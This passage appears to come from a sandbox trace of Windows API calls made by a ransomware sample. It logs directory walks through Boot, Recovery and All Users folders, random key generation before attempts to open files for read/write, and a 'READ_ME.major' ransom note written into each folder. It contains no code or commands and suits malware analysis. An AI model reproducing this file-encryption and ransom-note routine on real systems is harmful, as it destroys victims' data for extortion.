dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] GetLastError () returned 0x5 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] GetLastError () returned 0x5 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0143.620] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0143.620] FindNextFileW (in: hFindFile=0x60f628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.620] SetLastError (dwErrCode=0x5) [0143.620] GetLastError () returned 0x5 [0143.621] SetLastError (dwErrCode=0x5) [0143.621] GetLastError () returned 0x5 [0143.622] SetLastError (dwErrCode=0x5) [0143.622] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.624] FindNextFileW (in: hFindFile=0x60f628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.624] SetLastError (dwErrCode=0x5) [0143.624] GetLastError () returned 0x5 [0143.624] SetLastError (dwErrCode=0x5) [0143.624] GetLastError () returned 0x5 [0143.625] SetLastError (dwErrCode=0x5) [0143.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.625] FindNextFileW (in: hFindFile=0x60f628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.625] SetLastError (dwErrCode=0x5) [0143.625] GetLastError () returned 0x5 [0143.625] SetLastError (dwErrCode=0x5) [0143.625] GetLastError () returned 0x5 [0143.625] SetLastError (dwErrCode=0x5) [0143.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.625] FindNextFileW (in: hFindFile=0x60f628, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.625] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.625] SetFileAttributesW (lpFileName="\\Boot\\zh-HK\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.625] CreateFileW (lpFileName="\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.625] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.625] SetFileAttributesW (lpFileName="\\Boot\\zh-HK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.626] CreateFileW (lpFileName="\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.626] FindFirstFileW (in: lpFileName="\\Boot\\zh-TW\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f7e8 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] GetLastError () returned 0x5 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] GetLastError () returned 0x5 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] FindNextFileW (in: hFindFile=0x60f7e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] GetLastError () returned 0x5 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] GetLastError () returned 0x5 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] FindNextFileW (in: hFindFile=0x60f7e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.626] SetLastError (dwErrCode=0x5) [0143.626] GetLastError () returned 0x5 [0143.626] SetLastError (dwErrCode=0x5) [0143.627] GetLastError () returned 0x5 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] FindNextFileW (in: hFindFile=0x60f7e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] GetLastError () returned 0x5 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] GetLastError () returned 0x5 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] FindNextFileW (in: hFindFile=0x60f7e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] GetLastError () returned 0x5 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] GetLastError () returned 0x5 [0143.627] SetLastError (dwErrCode=0x5) [0143.627] FindNextFileW (in: hFindFile=0x60f7e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caed6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81caed6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81caed6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.627] SetFileAttributesW (lpFileName="\\Boot\\zh-TW\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.627] CreateFileW (lpFileName="\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.627] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.628] SetFileAttributesW (lpFileName="\\Boot\\zh-TW\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.628] CreateFileW (lpFileName="\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.628] FindFirstFileW (in: lpFileName="\\Recovery\\Logs\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0xc5eb007, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e9e8 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] FindNextFileW (in: hFindFile=0x60e9e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0xc5eb007, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] FindNextFileW (in: hFindFile=0x60e9e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc5eb007, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc5eb007, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc5eb007, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] GetLastError () returned 0x5 [0143.628] SetLastError (dwErrCode=0x5) [0143.628] FindNextFileW (in: hFindFile=0x60e9e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc5eb007, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc5eb007, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc5eb007, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.629] FindFirstFileW (in: lpFileName="\\Users\\All Users\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e8e8 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Adobe", cAlternateFileName="")) returned 1 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] SetLastError (dwErrCode=0x12) [0143.629] GetLastError () returned 0x12 [0143.629] SetLastError (dwErrCode=0x12) [0143.629] SetLastError (dwErrCode=0x12) [0143.629] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\READ_ME.major" (normalized: "c:\\users\\all users\\adobe\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.630] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.630] CloseHandle (hObject=0x588) returned 1 [0143.630] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0143.630] SetLastError (dwErrCode=0x0) [0143.631] GetLastError () returned 0x0 [0143.631] SetLastError (dwErrCode=0x0) [0143.631] SetLastError (dwErrCode=0x0) [0143.631] SetLastError (dwErrCode=0x0) [0143.631] GetLastError () returned 0x0 [0143.631] SetLastError (dwErrCode=0x0) [0143.631] GetLastError () returned 0x0 [0143.631] SetLastError (dwErrCode=0x0) [0143.631] CreateFileW (lpFileName="\\Users\\All Users\\Application Data\\READ_ME.major" (normalized: "c:\\users\\all users\\application data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.632] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.632] CloseHandle (hObject=0x588) returned 1 [0143.632] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Comms", cAlternateFileName="")) returned 1 [0143.632] SetLastError (dwErrCode=0xb7) [0143.632] GetLastError () returned 0xb7 [0143.632] SetLastError (dwErrCode=0xb7) [0143.633] GetLastError () returned 0xb7 [0143.633] SetLastError (dwErrCode=0xb7) [0143.633] SetLastError (dwErrCode=0xb7) [0143.633] GetLastError () returned 0xb7 [0143.633] SetLastError (dwErrCode=0xb7) [0143.633] SetLastError (dwErrCode=0xb7) [0143.633] CreateFileW (lpFileName="\\Users\\All Users\\Comms\\READ_ME.major" (normalized: "c:\\users\\all users\\comms\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.633] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.634] CloseHandle (hObject=0x588) returned 1 [0143.634] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0143.634] SetLastError (dwErrCode=0x0) [0143.634] GetLastError () returned 0x0 [0143.634] SetLastError (dwErrCode=0x0) [0143.634] GetLastError () returned 0x0 [0143.634] SetLastError (dwErrCode=0x0) [0143.634] SetLastError (dwErrCode=0x0) [0143.635] GetLastError () returned 0x0 [0143.635] SetLastError (dwErrCode=0x0) [0143.635] SetLastError (dwErrCode=0x0) [0143.635] CreateFileW (lpFileName="\\Users\\All Users\\Desktop\\READ_ME.major" (normalized: "c:\\users\\all users\\desktop\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.635] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.636] CloseHandle (hObject=0x588) returned 1 [0143.636] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0143.636] SetLastError (dwErrCode=0x0) [0143.636] GetLastError () returned 0x0 [0143.636] SetLastError (dwErrCode=0x0) [0143.636] GetLastError () returned 0x0 [0143.636] SetLastError (dwErrCode=0x0) [0143.636] SetLastError (dwErrCode=0x0) [0143.636] GetLastError () returned 0x0 [0143.636] SetLastError (dwErrCode=0x0) [0143.636] SetLastError (dwErrCode=0x0) [0143.636] CreateFileW (lpFileName="\\Users\\All Users\\Documents\\READ_ME.major" (normalized: "c:\\users\\all users\\documents\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.638] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.639] CloseHandle (hObject=0x588) returned 1 [0143.639] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] GetLastError () returned 0x0 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] GetLastError () returned 0x0 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] GetLastError () returned 0x0 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] SetLastError (dwErrCode=0x0) [0143.639] SetLastError (dwErrCode=0x0) [0143.639] GetLastError () returned 0x0 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] GetLastError () returned 0x0 [0143.639] SetLastError (dwErrCode=0x0) [0143.639] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\READ_ME.major" (normalized: "c:\\users\\all users\\microsoft onedrive\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.640] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.641] CloseHandle (hObject=0x588) returned 1 [0143.641] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Oracle", cAlternateFileName="")) returned 1 [0143.641] SetLastError (dwErrCode=0x0) [0143.641] GetLastError () returned 0x0 [0143.641] SetLastError (dwErrCode=0x0) [0143.641] GetLastError () returned 0x0 [0143.641] SetLastError (dwErrCode=0x0) [0143.641] SetLastError (dwErrCode=0x0) [0143.641] GetLastError () returned 0x0 [0143.641] SetLastError (dwErrCode=0x0) [0143.641] SetLastError (dwErrCode=0x0) [0143.641] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\READ_ME.major" (normalized: "c:\\users\\all users\\oracle\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.641] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.642] CloseHandle (hObject=0x588) returned 1 [0143.642] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, 